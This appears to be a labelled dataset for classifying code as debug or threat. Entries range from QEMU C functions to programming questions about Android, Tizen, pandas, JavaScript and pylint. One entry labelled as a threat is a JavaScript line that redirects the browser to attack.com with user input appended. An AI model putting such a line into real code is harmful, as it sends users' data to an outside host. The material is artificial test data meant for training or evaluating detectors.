0); cpu_x86_load_seg(env, R_GS, 0); #endif #elif defined(TARGET_AARCH64) { int i; if (!(arm_feature(env, ARM_FEATURE_AARCH64))) { fprintf(stderr, "The selected ARM CPU does not support 64 bit mode\n"); exit(EXIT_FAILURE); } for (i = 0; i < 31; i++) { env->xregs[i] = regs->regs[i]; } env->pc = regs->pc; env->xregs[31] = regs->sp; } #elif defined(TARGET_ARM) { int i; cpsr_write(env, regs->uregs[16], CPSR_USER | CPSR_EXEC, CPSRWriteByInstr); for(i = 0; i < 16; i++) { env->regs[i] = regs->uregs[i]; } #ifdef TARGET_WORDS_BIGENDIAN if (EF_ARM_EABI_VERSION(info->elf_flags) >= EF_ARM_EABI_VER4 && (info->elf_flags & EF_ARM_BE8)) { env->uncached_cpsr |= CPSR_E; env->cp15.sctlr_el[1] |= SCTLR_E0E; } else { env->cp15.sctlr_el[1] |= SCTLR_B; } #endif } #elif defined(TARGET_UNICORE32) { int i; cpu_asr_write(env, regs->uregs[32], 0xffffffff); for (i = 0; i < 32; i++) { env->regs[i] = regs->uregs[i]; } } #elif defined(TARGET_SPARC) { int i; env->pc = regs->pc; env->npc = regs->npc; env->y = regs->y; for(i = 0; i < 8; i++) env->gregs[i] = regs->u_regs[i]; for(i = 0; i < 8; i++) env->regwptr[i] = regs->u_regs[i + 8]; } #elif defined(TARGET_PPC) { int i; #if defined(TARGET_PPC64) int flag = (env->insns_flags2 & PPC2_BOOKE206) ? MSR_CM : MSR_SF; #if defined(TARGET_ABI32) env->msr &= ~((target_ulong)1 << flag); #else env->msr |= (target_ulong)1 << flag; #endif #endif env->nip = regs->nip; for(i = 0; i < 32; i++) { env->gpr[i] = regs->gpr[i]; } } #elif defined(TARGET_M68K) { env->pc = regs->pc; env->dregs[0] = regs->d0; env->dregs[1] = regs->d1; env->dregs[2] = regs->d2; env->dregs[3] = regs->d3; env->dregs[4] = regs->d4; env->dregs[5] = regs->d5; env->dregs[6] = regs->d6; env->dregs[7] = regs->d7; env->aregs[0] = regs->a0; env->aregs[1] = regs->a1; env->aregs[2] = regs->a2; env->aregs[3] = regs->a3; env->aregs[4] = regs->a4; env->aregs[5] = regs->a5; env->aregs[6] = regs->a6; env->aregs[7] = regs->usp; env->sr = regs->sr; ts->sim_syscalls = 1; } #elif defined(TARGET_MICROBLAZE) { env->regs[0] = regs->r0; env->regs[1] = regs->r1; env->regs[2] = regs->r2; env->regs[3] = regs->r3; env->regs[4] = regs->r4; env->regs[5] = regs->r5; env->regs[6] = regs->r6; env->regs[7] = regs->r7; env->regs[8] = regs->r8; env->regs[9] = regs->r9; env->regs[10] = regs->r10; env->regs[11] = regs->r11; env->regs[12] = regs->r12; env->regs[13] = regs->r13; env->regs[14] = regs->r14; env->regs[15] = regs->r15; env->regs[16] = regs->r16; env->regs[17] = regs->r17; env->regs[18] = regs->r18; env->regs[19] = regs->r19; env->regs[20] = regs->r20; env->regs[21] = regs->r21; env->regs[22] = regs->r22; env->regs[23] = regs->r23; env->regs[24] = regs->r24; env->regs[25] = regs->r25; env->regs[26] = regs->r26; env->regs[27] = regs->r27; env->regs[28] = regs->r28; env->regs[29] = regs->r29; env->regs[30] = regs->r30; env->regs[31] = regs->r31; env->sregs[SR_PC] = regs->pc; } #elif defined(TARGET_MIPS) { int i; for(i = 0; i < 32; i++) { env->active_tc.gpr[i] = regs->regs[i]; } env->active_tc.PC = regs->cp0_epc & ~(target_ulong)1; if (regs->cp0_epc & 1) { env->hflags |= MIPS_HFLAG_M16; } if (((info->elf_flags & EF_MIPS_NAN2008) != 0) != ((env->active_fpu.fcr31 & (1 << FCR31_NAN2008)) != 0)) { if ((env->active_fpu.fcr31_rw_bitmask & (1 << FCR31_NAN2008)) == 0) { fprintf(stderr, "ELF binary's NaN mode not supported by CPU\n"); exit(1); } if ((info->elf_flags & EF_MIPS_NAN2008) != 0) { env->active_fpu.fcr31 |= (1 << FCR31_NAN2008); } else { env->active_fpu.fcr31 &= ~(1 << FCR31_NAN2008); } restore_snan_bit_mode(env); } } #elif defined(TARGET_NIOS2) { env->regs[0] = 0; env->regs[1] = regs->r1; env->regs[2] = regs->r2; env->regs[3] = regs->r3; env->regs[4] = regs->r4; env->regs[5] = regs->r5; env->regs[6] = regs->r6; env->regs[7] = regs->r7; env->regs[8] = regs->r8; env->regs[9] = regs->r9; env->regs[10] = regs->r10; env->regs[11] = regs->r11; env->regs[12] = regs->r12; env->regs[13] = regs->r13; env->regs[14] = regs->r14; env->regs[15] = regs->r15; env->regs[R_RA] = regs->ra; env->regs[R_FP] = regs->fp; env->regs[R_SP] = regs->sp; env->regs[R_GP] = regs->gp; env->regs[CR_ESTATUS] = regs->estatus; env->regs[R_EA] = regs->ea; env->regs[R_PC] = regs->ea; } #elif defined(TARGET_OPENRISC) { int i; for (i = 0; i < 32; i++) { env->gpr[i] = regs->gpr[i]; } env->pc = regs->pc; cpu_set_sr(env, regs->sr); } #elif defined(TARGET_SH4) { int i; for(i = 0; i < 16; i++) { env->gregs[i] = regs->regs[i]; } env->pc = regs->pc; } #elif defined(TARGET_ALPHA) { int i; for(i = 0; i < 28; i++) { env->ir[i] = ((abi_ulong *)regs)[i]; } env->ir[IR_SP] = regs->usp; env->pc = regs->pc; } #elif defined(TARGET_CRIS) { env->regs[0] = regs->r0; env->regs[1] = regs->r1; env->regs[2] = regs->r2; env->regs[3] = regs->r3; env->regs[4] = regs->r4; env->regs[5] = regs->r5; env->regs[6] = regs->r6; env->regs[7] = regs->r7; env->regs[8] = regs->r8; env->regs[9] = regs->r9; env->regs[10] = regs->r10; env->regs[11] = regs->r11; env->regs[12] = regs->r12; env->regs[13] = regs->r13; env->regs[14] = info->start_stack; env->regs[15] = regs->acr; env->pc = regs->erp; } #elif defined(TARGET_S390X) { int i; for (i = 0; i < 16; i++) { env->regs[i] = regs->gprs[i]; } env->psw.mask = regs->psw.mask; env->psw.addr = regs->psw.addr; } #elif defined(TARGET_TILEGX) { int i; for (i = 0; i < TILEGX_R_COUNT; i++) { env->regs[i] = regs->regs[i]; } for (i = 0; i < TILEGX_SPR_COUNT; i++) { env->spregs[i] = 0; } env->pc = regs->pc; } #elif defined(TARGET_HPPA) { int i; for (i = 1; i < 32; i++) { env->gr[i] = regs->gr[i]; } env->iaoq_f = regs->iaoq[0]; env->iaoq_b = regs->iaoq[1]; } #else #error unsupported target CPU #endif #if defined(TARGET_ARM) || defined(TARGET_M68K) || defined(TARGET_UNICORE32) ts->stack_base = info->start_stack; ts->heap_base = info->brk; ts->heap_limit = 0; #endif if (gdbstub_port) { if (gdbserver_start(gdbstub_port) < 0) { fprintf(stderr, "qemu: could not open gdbserver on port %d\n", gdbstub_port); exit(EXIT_FAILURE); } gdb_handlesig(cpu, 0); } cpu_loop(env); return 0; }
1threat
fatel Exception ProgressDialog android studio : am try to get data json via volley in android studio , class name obs_bgw , my code working fine but when run the app after 1 min auto refresh i get app stop working and i check the error in firbase crash is Exception android.view.WindowManager$BadTokenException: Unable to add window -- token android.os.BinderProxy@cc00538 is not valid; is your activity running? android.view.ViewRootImpl.setView (ViewRootImpl.java:903) android.view.WindowManagerGlobal.addView (WindowManagerGlobal.java:377) android.view.WindowManagerImpl.addView (WindowManagerImpl.java:97) android.app.Dialog.show (Dialog.java:408) android.app.ProgressDialog.show (ProgressDialog.java:151) android.app.ProgressDialog.show (ProgressDialog.java:134) android.app.ProgressDialog.show (ProgressDialog.java:129) net.myaapp.app.weatherapp.obs_bgw.sendjsonrequest (obs_bgw.java:51) net.myaapp.app.weatherapp.obs_bgw$3.run (obs_bgw.java:88) android.os.Handler.handleCallback (Handler.java:751) android.os.Handler.dispatchMessage (Handler.java:95) android.os.Looper.loop (Looper.java:154) android.app.ActivityThread.main (ActivityThread.java:6776) java.lang.reflect.Method.invoke (Method.java) com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run (ZygoteInit.java:1496) com.android.internal.os.ZygoteInit.main (ZygoteInit.java:1386) my code package net.myaapp.app.weatherapp; import android.app.ProgressDialog; import android.os.Handler; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import com.android.volley.Request; import com.android.volley.RequestQueue; import com.android.volley.Response; import com.android.volley.VolleyError; import com.android.volley.toolbox.JsonObjectRequest; import com.android.volley.toolbox.Volley; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import org.json.JSONException; import org.json.JSONObject; public class obs_bgw extends AppCompatActivity { RequestQueue rq; TextView timeDesc, tempDesc, windspeedDesc, windguestDesc, humdityDesc,pressuresDesc; int ages; int temp; int windspeed; int windguest; int humdity; double pressure; long timeupdate; String url = "station=I1410&units=metric&v=2.0&format=json"; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_bgw_obs); rq = Volley.newRequestQueue(this); timeDesc = (TextView) findViewById(R.id.timeupdateDesc); tempDesc = (TextView) findViewById(R.id.tempid); windspeedDesc = (TextView) findViewById(R.id.windid); windguestDesc = (TextView) findViewById(R.id.windgustid); humdityDesc = (TextView) findViewById(R.id.humdid); pressuresDesc = (TextView) findViewById(R.id.pressuresDesc); sendjsonrequest(); } public void sendjsonrequest() { final ProgressDialog dialog = ProgressDialog.show(this,null, "Please Wait"); JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { dialog.dismiss(); try { JSONObject stationsJO = response.getJSONObject("stations"); JSONObject I1410JO = stationsJO.getJSONObject("I1410"); temp = I1410JO.getInt("temperature"); windspeed = I1410JO.getInt("wind_speed"); windguest = I1410JO.getInt("wind_gust_speed"); humdity = I1410JO.getInt("humidity"); timeupdate = I1410JO.getLong("updated") * 1000L; pressure = I1410JO.getDouble("pressure"); tempDesc.setText(Integer.toString(temp)+" C"); windspeedDesc.setText(Integer.toString(windspeed)+" كم "); windguestDesc.setText(Integer.toString(windguest)+" كم "); humdityDesc.setText(Integer.toString(humdity)+" % "); pressuresDesc.setText(Integer.toString((int) pressure)+" in "); timeDesc.setText(getDate(timeupdate)); } catch (JSONException e) { e.printStackTrace(); } } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { dialog.dismiss(); } }); rq.add(jsonObjectRequest); final Handler handler = new Handler(); final Runnable runnable = new Runnable() { @Override public void run() { sendjsonrequest(); handler.postDelayed(this, 60000);//60 second delay } }; handler.postDelayed(runnable, 60000); } private String getDate(long timeStamp) { try { DateFormat sdf = new SimpleDateFormat("MM/dd/yyyy hh:mm:ss"); Date netDate = (new Date(timeStamp)); return sdf.format(netDate); } catch (Exception ex) { return "xx"; } } } the problem is withe Progress Dialog , line 51 `final ProgressDialog dialog = ProgressDialog.show(this,null, "Please Wait");` when he refresh date stop working
0debug
Is it possible to keep Tizen application alive non stop : <p>recently I’ve started developing for Tizen OS. My application is created only for wearable and only for specific device which is Samsung Gear Sport (Tizen 3.0 on board). Main purpose of this application is to gather complete sensor data over a long period of time. I’m interested in heart rate, and movement sensors in general (gyroscope and accelerometer). Then, this data will be send to cloud server and analysed. Currently I’m considering a WEB application because so far I have found no evidence that WEB API is missing something that exists in native API.</p> <p>But there is one limitation in Tizen OS that so far I am unable to overcome. My application is put to sleep after a while (10 minutes or so). It is crucial that this app should work in the background for a long time (up to 10 hours). To achieve this, I’ve tried following approaches:</p> <ul> <li><strong>Normal Tizen app with background-category:</strong> data given by this approach is still too fragmented, for example I got 15 minutes holes where no data was recorded at all. Sometimes there were holes even longer than 30 minutes.</li> <li><strong>Tizen alarms API:</strong> alarms did the job in case of keeping the app alive, but with every alarm, app was brought to the front and this is not an acceptable solution. There is an option to silently wake up the app (using app control), but it does not have any callback, so all alarms would have to be scheduled upfront.</li> <li><strong>CPU_AWAKE flag</strong> made the system show “this app is using too much energy” popup, and when not answered within 10 minutes or so, system would kill my app nonetheless.</li> <li><strong>Web Workers</strong> - this one is only for the sake of argument, web workers are put to sleep along with the application</li> <li><strong>Data recording:</strong> I was hoping for something similar to Apple Health Kit, but instead I got something that is not working for HRM at all. Somehow it works for <code>PRESSURE</code> sensor. Tizen allows to start recording for <code>HRM</code> but nothing is recorded after - <code>NotFoundError: Failed to read recorded data</code>. Any other sensor gives <code>TypeMismatchError</code>.</li> <li><strong>Web Service app</strong> - this one requires partner-level certification with Samsung, also it’s affected by the background limitations, <a href="https://developer.tizen.org/ko/development/guides/native-application/application-management/applications/service-application?langredirect=1" rel="noreferrer">as the documentation mentions.</a> </li> <li><strong>Watch Face</strong> approach with “keep always on” flag set to true in device settings. This solution was the best I’ve tried. Watch face app wakes up every minute to change the time and it also receives sensor data. Unfortunately after more testing it turned out that there were couple holes in the data recorded.</li> </ul> <p>About the battery: none of the above was draining the battery to a point where it became unacceptable. So first I’d like to find a solution that will give me all the sensor data I need, as frequently as possible from at least 10 hours, with no holes in it. And after that, if it turns out that this solution is draining too much battery, I will think about how to optimize it.</p> <p>And now the question: <strong>is it possible to keep my application alive for 10+ hours non stop?</strong></p>
0debug
How to split a dataframe based on the index : I would like to split the below DF_input based on the index. That's from the below DF, How to obtain: measurement value 0 0 13 1 1 3 2 2 4 0 0 8 1 1 12 2 2 34 3 5 54 DF_output1 measurement value 0 0 13 1 1 3 2 2 4 DF_output2 measurement value 0 0 8 1 1 12 2 2 34 3 5 54 What I did is the following:` df_input.reset_index(inplace=True) shifted = df_dataset['index'].shift() m = shifted.diff(-1).ne(0.000000) a = m.cumsum() aa = df_dataset.groupby([df_dataset.uuid,a]) for k, gp in aa: print(gp) What Am I doing wrong? Any help please would be very appreciated. Best Regards, Carlo
0debug
static void phys_sections_free(PhysPageMap *map) { while (map->sections_nb > 0) { MemoryRegionSection *section = &map->sections[--map->sections_nb]; phys_section_destroy(section->mr); } g_free(map->sections); g_free(map->nodes); g_free(map); }
1threat
static void uhci_reset(void *opaque) { UHCIState *s = opaque; uint8_t *pci_conf; int i; UHCIPort *port; DPRINTF("uhci: full reset\n"); pci_conf = s->dev.config; pci_conf[0x6a] = 0x01; pci_conf[0x6b] = 0x00; s->cmd = 0; s->status = 0; s->status2 = 0; s->intr = 0; s->fl_base_addr = 0; s->sof_timing = 64; for(i = 0; i < NB_PORTS; i++) { port = &s->ports[i]; port->ctrl = 0x0080; if (port->port.dev) { usb_attach(&port->port, port->port.dev); } } uhci_async_cancel_all(s); }
1threat
python | read text files and seperate to lines by character : i have text file with this example content: 12/13/18, 14:06 - her:IMG-20181213-WA0005.jpg (file attached)12/13/18, 14:06 - her:PTT-20181213-WA0006.opus (file attached)12/13/18, 14:07 - kristal: its not in the right quality?12/13/18, 14:14 - her:bla bla bla bla12/13/18, 14:43 - kristal: ok for this size12/13/18, 14:43 - kristal: somthing somthing 12/13/18, 14:43 - kristal: rect12/13/18, 14:43 - Enav Sharon-kristal: need square12/13/18, 14:48 - her:sending files12/13/18, 14:49 - Enav Sharon-kristal: ok then how do i make a code that reads all the text and divide it to rows (when you sea 12 break the line)? and save it im really new in python so its my be a child play but i just cant figure it out...
0debug
Can we consider AWS Glue as a replacement for EMR? : <p>Just a quick question to clarify from Masters, since AWS Glue as an ETL tool, can provide companies with benefits such as, minimal or no server maintenance, cost savings by avoiding over-provisioning or under-provisioning resources, besides running on spark, I am looking for some clarifications, if AWS Glue can replace EMR?</p> <p>If both can co-exist, how EMR can play a role along with AWS Glue?</p> <p>Thanks &amp; regards</p> <p>Yuva</p>
0debug
onclick button is not working[help] : this is the html file and I don't know whats missing. I just need to figure out on how the onclick button works, 'cause this one is not working.... this is the html file and I don't know whats missing. I just need to figure out on how the onclick button works, 'cause this one is not working.... <div class="container"> <div class=""> <div class="row"> <div class="col-md-8 col-md-offset-2 shad-content"> <div class="panel-heading "><h3>Please add new drugs</h3></div> <div class="panel-body"> <form action="" method="POST"> {{ csrf_field() }} <table id="add-me" class="table table-bordered"> <thead> <tr> <th>Quantity</th> <th>Description</th> <th>Selling Price</th> <th>Actions</th> </tr> </thead> <tbody > <tr> <td id="quantity" class="col-md-2"><input onkeypress='return event.charCode >= 48 && event.charCode <=57' type="text" name="quantity[]" class="form-control" autofocus="" /></td> <td class="col-md-7"><input type="text" name="description[]" class="form-control" /></td> <td class="col-md-3"><input type="text" name="selling_price[]" class="form-control" /></td> <td class="col-md-2"> <button type="button" class="btn btn-danger"> Delete</button> </td> </tr> </tbody> </table> <div class="action-buttons"> <button id="add-form" type="button" class="btn btn-default">Add New Form</button> <button type="submit" class="btn btn-success">Save All Drugs</button> </div> </form> </div> </div> </div> </div> script <script> $('#add-form').click(function() { i++; $('#add-me').append( '<tbody id="row'+i+'"><tr>'+ '<td class="col-md-2">'+ '<input id="quantity" onkeypress="return event.charCode >= 48 && event.charCode <=57" type="text" name="quantity[]" class="form-control"/>' +'</td>' +'<td class="col-md-7">' +'<input type="text" name="description[]" class="form-control"/>' +'</td>' +'<td class="col-md-3">' +'<input type="text" name="selling_price[]" class="form-control" />' +'</td>' +'<td class="col-md-2">' +'<button id="'+i+'" type="button" class="btn btn-danger delegated-btn">Delete</button>' +'</td>' +'</tr></tbody>' ); }); </script>
0debug
pylint raises error if directory doesn't contain __init__.py file : <p>I have the folder that contains only python scripts for execution. It's not necessary to keep <code>__init__.py</code> file. So can I ignore such error?</p> <pre><code>$ pylint /app Using config file /app/pylintrc ************* F: 1, 0: error while code parsing: Unable to load file /app/__init__.py: [Errno 2] No such file or directory: '/app/__init__.py' (parse-error) </code></pre>
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
static void vmxnet3_set_events(VMXNET3State *s, uint32_t val) { uint32_t events; VMW_CBPRN("Setting events: 0x%x", val); events = VMXNET3_READ_DRV_SHARED32(s->drv_shmem, ecr) | val; VMXNET3_WRITE_DRV_SHARED32(s->drv_shmem, ecr, events); }
1threat
Python print syntax error couldnt find error : <p>I'm writing a python program to find the chi-square value of a set of data I'm running into a syntax error in the following chunk of code:<br></p> <pre><code>obs1 = int(input("") print("Observed Number 2: (OR SIMPLY PRESS ENTER TO CONTINUE) ") obs2 = int(input("") if obs2 == "": </code></pre> <p>The IDE is giving me a syntax error for <code>print</code>, and when i deleted print to see if that it ran well w/o it, i ran into another syntax error with <code>obs2</code> Could someone look over the code and tell me what they think? <br> Thank you</p>
0debug